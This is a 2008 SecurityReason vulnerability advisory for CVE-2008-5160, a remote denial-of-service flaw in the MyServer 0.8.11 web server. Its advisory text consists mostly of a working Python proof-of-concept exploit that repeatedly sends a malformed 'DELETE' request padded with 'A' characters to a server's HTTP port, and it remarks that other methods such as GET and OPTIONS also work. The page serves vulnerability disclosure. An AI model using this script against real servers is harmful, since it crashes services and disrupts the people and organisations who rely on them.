SecurityReason - MyServer 0.8.11 (204 No Content) error Remote Denial of Service Exploit

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Details : SecurityAlert

Topic :

MyServer 0.8.11 (204 No Content) error Remote Denial of Service Exploit

SecurityAlert : 4609

CVE : CVE-2008-5160

CWE : NVD-CWE-noinfo

SecurityRisk : Medium alert

(About)

Remote Exploit : Yes

Local Exploit : No

Victim interaction required : No

Exploit Given : Yes

Credit : shinnai

Published : 20.11.2008

Affected Software :

myserver:myserver:0.8.11

Advisory Text :

#exploit.py

import socket
import os

print '------------------------------------------------------------------'
print ' MyServer 0.8.11 "204 No Content" error Remote Denial of Service'
print ' url: www.myserverproject.net'
print ' author: shinnai'
print ' mail: shinnai[at]autistici[dot]org'
print ' site: http://shinnai.altervista.org'
print ' I do not have time for explanations, just to say that yuo can'
print ' use even other HTTP methods as GET, OPTIONS etc :-)'
print '------------------------------------------------------------------'

buff = "A" * 50
host = "127.0.0.1"
port = 80

for i in range (0,20):
try:
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect((host, port))
connection.send("DELETE" + buff + " HTTP/1.0\r\n")
except:
print "Unable to connect"

References :

http://www.securityfocus.com/bid/27981
http://www.milw0rm.com/exploits/5184

Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.

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